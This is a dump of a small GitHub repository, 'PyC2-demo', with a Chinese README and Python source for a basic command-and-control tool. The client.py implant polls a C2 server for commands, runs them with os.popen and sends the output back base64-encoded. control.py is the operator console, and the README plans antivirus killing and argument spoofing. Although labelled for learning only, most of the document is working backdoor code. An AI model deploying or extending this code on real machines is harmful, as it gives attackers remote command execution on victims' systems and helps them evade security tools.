├── demo1.PNG ├── frame.PNG ├── server.py ├── README.md ├── control.py └── client.py /demo1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/timwhitez/PyC2-demo/HEAD/demo1.PNG -------------------------------------------------------------------------------- /frame.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/timwhitez/PyC2-demo/HEAD/frame.PNG -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/timwhitez/PyC2-demo/HEAD/server.py -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PyC2-demo 2 | 3 | ### 如要使用记得修改对应搭建c2服务器的ip 4 | 5 | ### 20200311 更新: 6 | 7 | 加入心跳包机制。以及上下线提醒 8 | 9 | ## demo 10 | 11 | 从入门到放弃的产物,学习过程中用python实现的一个单点c2基本功能。 12 | 13 | 采用http传输,server端采用Flask+redis队列,目前仅实现了单点连接命令执行功能。 14 | 15 | 命令的传输直接写的get方式明文传输,命令执行的结果是post方式base64编码传输。 16 | 17 | 若有精力的话后续应该会持续更新。 18 | 19 | 仅供学习 20 | 21 | ![](https://raw.githubusercontent.com/timwhitez/PyC2-demo/master/demo1.PNG) 22 | 23 | ![](https://raw.githubusercontent.com/timwhitez/PyC2-demo/master/frame.PNG) 24 | 25 | ## todo 26 | 27 | - [x] ~~加入心跳包及上线提醒~~ 28 | - [ ] 用c++/Golang 重构client 29 | - [ ] 加入多对多支持 30 | - [ ] 流量加密/编码 31 | - [ ] 加入argument spoofing 32 | - [ ] 加入R3 Kill AntiVirus 33 | - [ ] 整合上传等功能组件 34 | -------------------------------------------------------------------------------- /control.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # coding=utf-8 3 | import requests 4 | import time 5 | import os 6 | import re 7 | import threading 8 | import base64 9 | 10 | 11 | def send(c2cmd): 12 | url="http://ip:5000/c2server?cmd="+c2cmd 13 | #print url 14 | # 发送命令 15 | i=1 16 | try: 17 | while i<10: 18 | i=i+1 19 | s1= requests.get(url, timeout=10) 20 | #print s1.status_code 21 | if s1.status_code == 200: 22 | com= s1.content 23 | #print command 24 | if com == 'ok': 25 | return 26 | time.sleep(1) 27 | except: 28 | return None 29 | 30 | def heartbeats(): 31 | print "正在连接......" 32 | i=0 33 | j=0 34 | url0="http://ip:5000/c2heartbeat?control=test" 35 | while True: 36 | j+=1 37 | try: 38 | s0= requests.get(url0, timeout=5) 39 | if s0.status_code == 200: 40 | c1=s0.content 41 | break 42 | except: 43 | pass 44 | if j>40: 45 | print '\n失去连接' 46 | j=0 47 | time.sleep(1) 48 | print '已连接' 49 | global conn 50 | conn=1 51 | t1 = threading.Thread(target=main) 52 | t1.start() 53 | while True: 54 | i+=1 55 | if i>4: 56 | print '失去连接1' 57 | conn=0 58 | return 59 | # 每10秒接收一次心跳包 60 | try: 61 | s0= requests.get(url0, timeout=5) 62 | if s0.status_code == 200: 63 | c2=s0.content 64 | if c2!=c1: 65 | print '已连接\nCommand:' 66 | c1=c2 67 | c2='' 68 | i=0 69 | except: 70 | pass 71 | time.sleep(10) 72 | 73 | 74 | def receive(): 75 | url="http://ip:5000/c2server?results=test" 76 | # 命令执行结束的回显发送 77 | i=1 78 | try: 79 | while i<10: 80 | i=i+1 81 | s1= requests.get(url,timeout=30) 82 | if s1.status_code == 200: 83 | results= s1.content 84 | print base64.b64decode(results) 85 | return 86 | time.sleep(1) 87 | except: 88 | return None 89 | 90 | 91 | 92 | 93 | def main(): 94 | c2_command = '' 95 | while conn==1: 96 | c2_command = raw_input("Command:") 97 | send(c2_command) 98 | receive() 99 | return 100 | 101 | 102 | 103 | if __name__ == '__main__': 104 | #启动心跳线程 105 | while True: 106 | heartbeats() 107 | conn=0 108 | -------------------------------------------------------------------------------- /client.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # coding=utf-8 3 | import requests 4 | import time 5 | import os 6 | import re 7 | import threading 8 | import base64 9 | 10 | 11 | def receive(id): 12 | url="http://ip:5000/c2client?cmd="+str(id) 13 | #print url 14 | # 接收待执行命令 15 | try: 16 | while True: 17 | 18 | s1= requests.get(url, timeout=10) 19 | #print s1.status_code 20 | if s1.status_code == 200: 21 | #正则匹配内容 22 | command= s1.content 23 | #print command 24 | return command 25 | time.sleep(1) 26 | except: 27 | return None 28 | 29 | 30 | def send(result): 31 | r1=result 32 | #print r1 33 | url="http://ip:5000/c2client?results="#+base64.b64encode(str(r1)) 34 | data = {"results": base64.b64encode(str(r1))} 35 | #print url 36 | # 命令执行结束的回显发送 37 | try: 38 | while True: 39 | s1= requests.post(url,data=data,timeout=30) 40 | #print s1.status_code 41 | if s1.status_code == 200: 42 | return 43 | time.sleep(1) 44 | except: 45 | return None 46 | 47 | 48 | def cmd(command): 49 | #执行系统命令并获取回显 50 | try: 51 | output = os.popen(command) 52 | result = output.read() 53 | if result: 54 | return result 55 | else: 56 | return None 57 | #print result 58 | except: 59 | return None 60 | 61 | 62 | 63 | 64 | def heartbeats(): 65 | while True: 66 | url="http://ip:5000/c2heartbeat?client="+str(time.time()) 67 | url0="http://ip:5000/c2heartbeat?control="+str(time.time()) 68 | # 每20秒发一次心跳包 69 | try: 70 | while True: 71 | s0= requests.get(url0, timeout=5) 72 | s1= requests.get(url, timeout=5) 73 | if s1.status_code == 200: 74 | break 75 | time.sleep(1) 76 | except: 77 | return 78 | time.sleep(20) 79 | 80 | 81 | if __name__ == '__main__': 82 | #启动心跳线程 83 | t = threading.Thread(target=heartbeats) 84 | t.start() 85 | i=0 86 | while True: 87 | i+=1 88 | #print i 89 | time.sleep(1) 90 | try: 91 | #接收命令 92 | cmd1=receive(i) 93 | if cmd1!= None: 94 | #执行命令 95 | result1=cmd(cmd1) 96 | #print result1 97 | if result1 != None: 98 | #发送结果 99 | send(result1) 100 | except: 101 | pass 102 | --------------------------------------------------------------------------------